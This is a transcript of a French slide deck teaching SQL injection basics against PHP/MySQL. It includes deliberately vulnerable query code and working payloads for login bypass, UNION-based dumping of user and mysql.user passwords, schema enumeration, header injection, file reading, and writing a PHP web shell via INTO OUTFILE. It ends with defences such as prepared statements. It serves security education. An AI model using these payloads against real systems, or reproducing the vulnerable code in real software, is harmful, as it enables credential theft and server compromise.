sql injection vulnerability - basics

29
1 Twitter : Twitter : @EmirFares @EmirFares Email : Email : [email protected] [email protected]  |  | [email protected] [email protected] Blog : Blog : http://emi.re http://emi.re AboutMe : AboutMe : http://about.me/EmirFares http://about.me/EmirFares SQL Injection SQL Injection

Upload: emir-fares-belmahdi

Post on 26-Jun-2015

2.059 views

Category:

Technology


0 download

DESCRIPTION

#SQL #Injection #Vulnerability - #Basics

TRANSCRIPT

Page 1: SQL Injection Vulnerability - Basics

1

Twitter : Twitter : @EmirFares@EmirFaresEmail : Email : [email protected]@emi.re |  | [email protected]@gmail.comBlog : Blog : http://emi.rehttp://emi.reAboutMe : AboutMe : http://about.me/EmirFareshttp://about.me/EmirFares

SQL InjectionSQL Injection

Page 2: SQL Injection Vulnerability - Basics

2

Introduction PHPIntroduction PHP

Page 3: SQL Injection Vulnerability - Basics

3

SQL Injection - Introduction

● PHP est un langage de programmation interprété qui s'intègre dans vos pages HTML. Il permet entre autres de rendre automatiques des tâches répétitives, notamment grâce à la communication avec une base de données.

Page 4: SQL Injection Vulnerability - Basics

4

SQL Injection - Introduction

● Exemple de code PHP<?php echo "Bonjour, je suis un script PHP !"; ?>● Ou même :<?phpif (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== FALSE) {?><h3>strpos() n'a pas retourné FALSE</h3><p>Vous utilisez Internet Explorer</p><?php} else {?><h3>strpos() a retourné FALSE</h3><p>Vous n'utilisez pas Internet Explorer</p><?php}?>

Page 5: SQL Injection Vulnerability - Basics

5

SQL Injection – Les Superglobales

● Plusieurs variables prédéfinies en PHP sont "superglobales", ce qui signifie qu'elles sont disponibles quel que soit le contexte du script. Il est inutile de faire global $variable; avant d'y accéder dans les fonctions ou les méthodes.

● Les variables superglobales sont :

➔ $GLOBALS➔ $_SERVER➔ $_GET➔ $_POST➔ $_FILES➔ $_COOKIE➔ $_SESSION➔ $_REQUEST➔ $_ENV

Page 6: SQL Injection Vulnerability - Basics

6

SQL Injection – Les Variables HTTP

● $_GET :➔ Un tableau associatif des valeurs passées au script courant via les

paramètres d'URL.➔ http://www.google.dz/search?q=Security

● $_POST ➔ Un tableau associatif des valeurs passées au script courant via le protocole

HTTP et la méthode POST.➔ Exemple : Les informations transmises via formulaire d’inscription/Connexion

Page 7: SQL Injection Vulnerability - Basics

7

SQL Injection – Variable de requête HTTP

● $_REQUEST➔ Un tableau associatif qui contient par défaut le contenu des variables $_GET

, $_POST et $_COOKIE.➔ Les variables contenues dans $_REQUEST sont fournies au script via les

mécanismes d'entrée GET, POST, et COOKIE et donc, peuvent être modifiées par l'utilisateur final ; aussi, vous ne pouvez faire confiance à leur contenu. La présence ainsi que l'ordre de ces variables dans ce tableau sont définis suivant la directive de configuration variables_order.

Page 8: SQL Injection Vulnerability - Basics

8

Injection SQL : Les BasesInjection SQL : Les Bases

Page 9: SQL Injection Vulnerability - Basics

9

SQL Injection - Introduction

● SQL (Structured Query Language, en français langage de requête structurée) est un langage informatique normalisé servant à exploiter des bases de données relationnelles. La partie langage de manipulation des données de SQL permet de rechercher, d'ajouter, de modifier ou de supprimer des données dans les bases de données relationnelles.

● Il existe plusieurs Système de Gestion de Base de Données (SGBD) : comme MySQL ou alors Oracle Database.

● Nous allons utiliser MySQL pour nos exemples.

Page 10: SQL Injection Vulnerability - Basics

10

SQL Injection - Introduction

● De nombreux développeurs web ne sont pas conscients des possibilités de manipulation des requêtes SQL, et supposent que les requêtes SQL sont des commandes sûres. Cela signifie qu'une requête SQL est capable de contourner les contrôles et vérifications, comme les identifications, et parfois, les requêtes SQL ont accès aux commandes d'administration.

● L'injection SQL est une technique où un pirate modifie une requête SQL existante pour afficher des données cachées, ou pour écraser des valeurs importantes, ou encore exécuter des commandes dangereuses pour la base. Cela se fait lorsque l'application prend les données envoyées par l'internaute, et l'utilise directement pour construire une requête SQL

Page 11: SQL Injection Vulnerability - Basics

11

SQL Injection - Exploitation

Page 12: SQL Injection Vulnerability - Basics

12

SQL Injection - Détection

● Pour détecter une Injection SQL, rien de plus simple il suffit d'injecter le symbole « ' » et si une erreur du genre " You have an error in your SQL syntax; " s'affiche, c'est que l'application est vulnérable.

Page 13: SQL Injection Vulnerability - Basics

13

SQL Injection – Exploitation

● Imaginons un code comme suit :

<?php

$user = $_POST['user'];

$pass = $_POST['pass'];

$sql = mysql_query("SELECT * FROM members WHERE user = '{$user}' AND pass = '{$pass}'") or die(mysql_error());

if(mysql_num_rows($sql) == 1)

{

echo "Bienvenue";

}

else

{

echo "Incorrect logins";

}

?>

Page 14: SQL Injection Vulnerability - Basics

14

SQL Injection - Exploitation

● l'attaquant tape le nom d'un utilisateur déjà existant dans la base de données par exemple « admin » suivi d'un signe quote et un dièse « '# »

● Le single quote servira a fermer le délimiteur de la chaine de caractère, le dièse permet de mettre en commentaire le reste de la requête, l'instruction qui se charge de vérifier le mot de passe ne sera donc pas exécutée.

SELECT * FROM users WHERE username = ‘admin’#‘ AND password = ‘$password’

Page 15: SQL Injection Vulnerability - Basics

15

SQL Injection - Exploitation

● Un autre exemple d'une SQLi :

$sql = mysql_query("SELECT * FROM users WHERE ( username='$username' AND password = '$password' )");● Pour détourner la vérification du mot de passe on peut utiliser «

admin')# »● On peut également utiliser : « admin') or ('a'='a »● Le principe est simple, il faut bidouiller la requête pour qu'elle

soit correcte et retourne toujours true.

Page 16: SQL Injection Vulnerability - Basics

16

SQL Injection – UNION Syntax

● UNION est implémentée en MySQL 4.0.0.● UNION est utilisé pour combiner le résultat de plusieurs

requêtes SELECT en un seul résultat.● Les colonnes listées dans la partie select_expression du

SELECT doivent être du même type. Les noms de colonnes utilisés dans le premier SELECT seront utilisé comme nom de champs pour les résultats retournés.

Page 17: SQL Injection Vulnerability - Basics

17

SQL Injection – UNION Syntax<?phpinclude('config.php'); //Fichier de configuration qui contient les informations de connexion a la base de donnéesmysql_select_db("test");$id = $_GET['id'];$sql = mysql_query("SELECT user, nom, prenom, email FROM members WHERE id = $id") or die(mysql_error());if(mysql_num_rows($sql) > 0){ $data = mysql_fetch_object($sql); echo " <fieldset> <legend>Profile de ".$data->user."</legend> <p>Nom d'utilisateur : ".$data->user."</p> <p>Nom et pr&eacute;nom : ".$data->nom." " .$data->prenom ."</p> <p>Adresse email : ".$data->email."</p> </fieldset>";}?>

Page 18: SQL Injection Vulnerability - Basics

18

SQL Injection – UNION Syntax

● Après la détection de la SQLi (grâce au single quote « ' ») nous passons à l'étape suivante qui est la détection du nombre de colonnes utilisés dans le SELECT

● La méthode la plus répandue est l'utilisation du ORDER BY en incrémentant l'indice jusqu'à génération d'une erreur.

– profile.php?id=99999 order by 1 [OK]

– profile.php?id=99999 order by 2 [OK]

– profile.php?id=99999 order by 3 [OK]

– profile.php?id=99999 order by 4 [OK]

– profile.php?id=99999 order by 5 [ERROR] {Unknown column '5' in 'order clause'}

● Nous savons maintenant que le nombre de champs utilisés est « 4 »

Page 19: SQL Injection Vulnerability - Basics

19

SQL Injection – Récupération des données

● Il ne reste plus qu'à utiliser la clause UNION pour la récupération des données.➔ profile.php?id=-99999 UNION SELECT 1,2,3,4#

● Nous remarquerons que cette fois ci les chiffres 1,2,3,4 sont affichés au lieu des informations du profile de l'utilisateur. Ceci est du au fait que l'utilisateur -99999 n'existe pas dans la base de données, donc les champs sélectionnés dans UNION sont retournés.

● Il ne reste plus qu'à sélectionner les colonnes que nous voulons afficher☻➔ profile.php?id=-99999 UNION SELECT database(),version(),user,pass FROM members#➔ profile.php?id=-99999 UNION SELECT host, user, password, database() FROM mysql.user#

Page 20: SQL Injection Vulnerability - Basics

20

SQL Injection - Lister les tables disponibles

● Le support de la base INFORMATION_SCHEMA est disponible en MySQL 5.0.2 et plus récent. Il fournit un accès aux métadonnées sur les bases de données.

● Les ''métadonnées'' sont des informations sur les données, telles que le nom des bases de données, des tables, le type de données des colonnes ou les droits d'accès. On appelle aussi ces données le ''dictionnaire de données'' ou le ''catalogue système''.

● Information_schema est par default accessible à tous les utilisateurs

Page 21: SQL Injection Vulnerability - Basics

21

SQL Injection – Lister les tables disponibles

● Reprenons l'exemple utilisé précédemment, voici la requête qui permet d'afficher la liste des tables disponibles dans la BDD :profile.php?id=-99999 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database() LIMIT 0,1;# //Affiche la première table

profile.php?id=-99999 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database() LIMIT 1,1;# //Affiche la deuxième table ...

● Maintenant nous allons récupérer le nom des colonnes qui sont stockés dans la table information_schema.COLUMNSprofile.php?id=-99999 UNION SELECT null, null, null, COLUMN_NAME FROM COLUMNS WHERE TABLE_SCHEMA = database() AND TABLE_NAME='members'# //Affiche la première colonne

profile.php?id=-99999 UNION SELECT null, null, null, COLUMN_NAME FROM COLUMNS WHERE TABLE_SCHEMA = database() AND TABLE_NAME='members' LIMIT 1,1# //Affiche la deuxième colonne ...

Page 22: SQL Injection Vulnerability - Basics

22

Injection SQL : Injection SQL : Techniques AvancéesTechniques Avancées

Page 23: SQL Injection Vulnerability - Basics

23

SQL Injection – Injection via en-têtes HTTP

● L'en-tête HTTP est un ensemble de lignes facultatives permettant de donner des informations supplémentaires sur la requête et/ou le client (Navigateur, système d'exploitation, ...). Chacune de ces lignes est composée d'un nom qualifiant le type d'en-tête, suivi de deux points (:) et de la valeur de l'en-tête.

● Exemple :

GET /index.php HTTP/1.1

Host: www.emi.re

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: _ga=GA1.2.1078712593.1386802851

Connection: keep-alive

Page 24: SQL Injection Vulnerability - Basics

24

SQL Injection - Injection via en-têtes HTTP

<?php

include('config.php');

$ua = $_SERVER['HTTP_USER_AGENT'];

$req = mysql_query("SELECT * FROM banned_useragents WHERE user_agent = '$ua'") or die(mysql_error());

if(mysql_num_rows($req) > 0)

{

die("you don't have the permission to access this page");

}

else

{

echo "Welcome !";

}

?>

Page 25: SQL Injection Vulnerability - Basics

25

SQL Injection - Injection via en-têtes HTTP

● Si on change le contenu du paramètre

« User-Agent » en injectant « ' »

nous remarquons l'apparition d'une

erreur.

Page 26: SQL Injection Vulnerability - Basics

26

SQL Injection – Ecriture d'un fichier

● L'instruction « INTO OUTFILE » et « INTO DUMPFILE » : permettent d'écrire dans un fichier accessible par l'utilisateur courant.

● Exemple :

profile.php?id=-99999 union select null,null,null,'<?php system(\$_GET["cmd"]) ?>' INTO OUTFILE '/tmp/test.php'

Page 27: SQL Injection Vulnerability - Basics

27

SQL Injection – Lecture d'un fichier● L'instruction « LOAD_FILE » : Lit un fichier et retourne son contenu

sous la forme d'une chaîne de caractères. Le fichier doit se trouver sur le serveur qui exécute MySQL, vous devez spécifier le chemin absolu du fichier et vous devez avoir les droits en lecture sur celui-ci.

● Exemple : profile.php?id=-99999 union select 1,2,3,load_file('/tmp/test.php')

Page 28: SQL Injection Vulnerability - Basics

28

SQL Injection – Comment l'éviter?

● Utiliser mysql_real_escape_string() d'echapper les quotes.● Éviter de donner les droits FILE aux utilisateurs mysql.● Éviter d'utilisr le compte 'root' pour la connexion de vos applications à la base de données. ● Utiliser les requêtes préparés :

<?php

$db = new PDO('mysql:host=localhost;dbname=test','username','password');

$sql = 'SELECT * FROM users WHERE username=?';

$sql = $db->prepare($sql);

$sql->execute(array($_POST['username']));

$data = $sql->fetch(PDO::FETCH_ASSOC);

?>

Page 29: SQL Injection Vulnerability - Basics

29

Twitter : Twitter : @EmirFares@EmirFaresEmail : Email : [email protected]@emi.re |  | [email protected]@gmail.comBlog : Blog : http://emi.rehttp://emi.reAboutMe : AboutMe : http://about.me/EmirFareshttp://about.me/EmirFares

SQL InjectionSQL Injection